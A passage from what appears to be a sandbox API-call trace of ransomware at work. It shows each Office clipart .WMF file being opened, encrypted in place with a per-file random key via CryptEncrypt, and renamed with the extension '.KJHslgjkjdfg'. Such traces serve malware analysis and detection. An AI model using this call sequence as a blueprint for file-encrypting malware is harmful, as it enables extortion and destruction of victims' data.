lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.945] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.945] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.945] GetProcessHeap () returned 0x2a0000 [0190.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.945] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.945] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.945] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.945] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.945] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.945] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.946] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.946] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.946] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.946] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.946] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.946] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4c4c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4c4c, lpOverlapped=0x0) returned 1 [0190.949] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4c50, dwBufLen=0x4c50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4c50) returned 1 [0190.949] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.950] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4c50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4c50, lpOverlapped=0x0) returned 1 [0190.950] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.950] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.950] SetEndOfFile (hFile=0x114) returned 1 [0190.953] GetProcessHeap () returned 0x2a0000 [0190.953] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.953] GetProcessHeap () returned 0x2a0000 [0190.953] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.953] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf.kjhslgjkjdfg")) returned 1 [0190.963] CloseHandle (hObject=0x114) returned 1 [0190.963] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8362df00, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8362df00, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x382a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02067_.WMF", cAlternateFileName="")) returned 1 [0190.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.965] GetProcessHeap () returned 0x2a0000 [0190.965] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.965] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.965] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.965] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0190.968] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.968] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.968] GetProcessHeap () returned 0x2a0000 [0190.968] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.968] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.968] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.968] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.968] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.969] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.969] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.969] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.969] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.969] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.969] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.969] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.969] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x382a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x382a, lpOverlapped=0x0) returned 1 [0190.970] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3830, dwBufLen=0x3830 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3830) returned 1 [0190.970] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.970] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3830, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3830, lpOverlapped=0x0) returned 1 [0190.970] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.970] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.971] SetEndOfFile (hFile=0x114) returned 1 [0190.973] GetProcessHeap () returned 0x2a0000 [0190.974] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.974] GetProcessHeap () returned 0x2a0000 [0190.974] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.974] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf.kjhslgjkjdfg")) returned 1 [0190.976] CloseHandle (hObject=0x114) returned 1 [0190.976] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63332000, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63332000, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x1b4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02094_.WMF", cAlternateFileName="")) returned 1 [0190.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.977] GetProcessHeap () returned 0x2a0000 [0190.977] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.977] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.977] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.977] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0190.980] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.980] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.980] GetProcessHeap () returned 0x2a0000 [0190.980] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.980] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.980] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.980] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.980] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.980] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.980] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.980] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.981] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.981] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.981] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.981] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.981] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1b4a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1b4a, lpOverlapped=0x0) returned 1 [0190.982] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b50, dwBufLen=0x1b50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b50) returned 1 [0190.982] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.982] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b50, lpOverlapped=0x0) returned 1 [0190.982] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.982] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.982] SetEndOfFile (hFile=0x114) returned 1 [0190.984] GetProcessHeap () returned 0x2a0000 [0190.984] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.984] GetProcessHeap () returned 0x2a0000 [0190.984] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.984] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf.kjhslgjkjdfg")) returned 1 [0190.986] CloseHandle (hObject=0x114) returned 1 [0190.986] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95d01f00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95d01f00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02227_.WMF", cAlternateFileName="")) returned 1 [0190.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.987] GetProcessHeap () returned 0x2a0000 [0190.988] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.988] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.988] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.988] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.988] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.988] GetProcessHeap () returned 0x2a0000 [0190.988] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.988] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.988] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.988] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.990] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.990] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.990] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.990] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.990] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.990] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.990] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.990] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.990] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x540, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x540, lpOverlapped=0x0) returned 1 [0190.990] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x540, dwBufLen=0x540 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x540) returned 1 [0190.990] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.990] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x540, lpOverlapped=0x0) returned 1 [0190.991] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.991] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.991] SetEndOfFile (hFile=0x114) returned 1 [0190.993] GetProcessHeap () returned 0x2a0000 [0190.993] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.993] GetProcessHeap () returned 0x2a0000 [0190.993] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.993] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf.kjhslgjkjdfg")) returned 1 [0190.995] CloseHandle (hObject=0x114) returned 1 [0190.995] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf83e1500, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf83e1500, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x334, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02228_.WMF", cAlternateFileName="")) returned 1 [0190.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.996] GetProcessHeap () returned 0x2a0000 [0190.996] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.996] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.996] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.996] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0190.998] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.998] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.999] GetProcessHeap () returned 0x2a0000 [0190.999] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.999] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.999] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.999] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.999] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.999] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.999] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, 